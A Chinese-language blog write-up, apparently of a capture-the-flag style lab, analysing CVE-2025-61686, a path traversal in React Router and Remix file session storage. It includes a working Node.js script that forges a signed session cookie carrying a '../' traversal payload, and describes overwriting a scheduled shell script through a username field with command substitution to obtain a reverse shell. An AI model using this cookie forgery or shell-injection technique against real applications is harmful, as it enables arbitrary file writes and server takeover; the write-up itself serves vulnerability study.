浅析CVE-2025-61686-ReactRouter-任意文件写入漏洞

漏洞简述

CVE-2025-61686 是一个影响 React Router 和 Remix Run 框架的严重路径遍历漏洞。该漏洞存在于文件会话存储功能中,当应用程序使用createFileSessionStorage()函数且未对会话 cookie 进行签名时,攻击者可以通过操纵会话标识符来访问或修改服务器文件系统上预期会话目录之外的文件。

当然你签名了如果可以伪造也是一样的

React Router 和 Remix Run 提供了多种会话存储选项,包括:

  • Cookie 会话存储
  • 内存会话存储
  • 文件会话存储
  • 自定义会话存储

createFileSessionStorage()函数允许开发者将会话数据持久化到文件系统,适用于需要在服务器重启后保持会话状态的场景。

漏洞利用

这里的环境我是基于Hiflower那个靶机(源码Hiflower那里有)进行分析利用

image-20260222125818787

这里定义了session文件的储存文件夹和加密签名用的secrets,因此这里其实我们就是可以去写一个伪造session的js脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
const crypto = require("crypto");

const SECRET = "mazesec";
const encoded = "IjlmYmYwNjFjMWJiY2EwMjYvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdGVzdC50eHQi";

// HMAC-SHA256,输出普通 base64
let sig = crypto
.createHmac("sha256", SECRET)
.update(encoded)
.digest("base64");

// 最终 cookie 值
console.log(`${encoded}.${sig}`);

session的格式是:前半部分是sessionid的base64编码,后部分是基于前半部分和secret的签名,特别注意的一点是前半部分的sessionid是要带双引号去进行base64编码的

image-20260222130519562

那么这里我们就可以通过脚本去伪造了一个恶意的session,接下来就是要找写入文件的函数

image-20260222130712320

这个commitSession,然后我们改好session访问这个路由,成功写入了,但是这里我们并没有控制我们想写入的内容

image-20260222131132547

但是这个可用用来覆盖文件!

于是我们去找能控制写入的路由

image-20260222131924051

登录这个页面配合注册,可以通过对username的控制写入东西,然后对于这个靶机这里是有一个定时shell脚本的,我们配合变量替换:${}或者命令替换:反引号,去弹个shell

填入恶意session去登录就可以写入文件啦!接下来就从代码层面来浅析一下

漏洞分析

浅析一下,毕竟深了我也弄不来

首先我们跟进createFileSessionStorage

image-20260222151449177

发现调用了createSessionStorage,继续跟进

image-20260222151710444

这里就可以看到commitSession的实现了,这里我们主要关注creatDatacookie.serialize

先来看前者

image-20260222153107429

1
2
let randomBytes = crypto.getRandomValues(new Uint8Array(8));
let id = Buffer.from(randomBytes).toString("hex");

这里生成一个16位的sessionid

1
2
3
4
let file = getFile(dir, id);
await import_node_fs.promises.mkdir(path.dirname(file), { recursive: true });
await import_node_fs.promises.writeFile(file, content, { encoding: "utf-8", flag: "wx" });
return id;

file这里是先定义一个完整的路径

1
2
3
function getFile(dir, id) {
return path.join(dir, id.slice(0, 4), id.slice(4));
}

可以看到它把sessionid前4位拿出来作为了一个目录,path.join() 未拦截 ../ 等。导致带有目录穿越字符的输入能绕过存储目录约束。这里就可以知道为何可以目录穿越了吧

关于漏洞的总结:

  1. 只要是具有写的权限的目录下就可以任意文件写入
  2. 第一个是未使用签名,或者使用了签名但密钥泄露可以伪造,第二个就是构建路径的时候底层用的是path.join(),这个本身是不会拦截../之类的东西。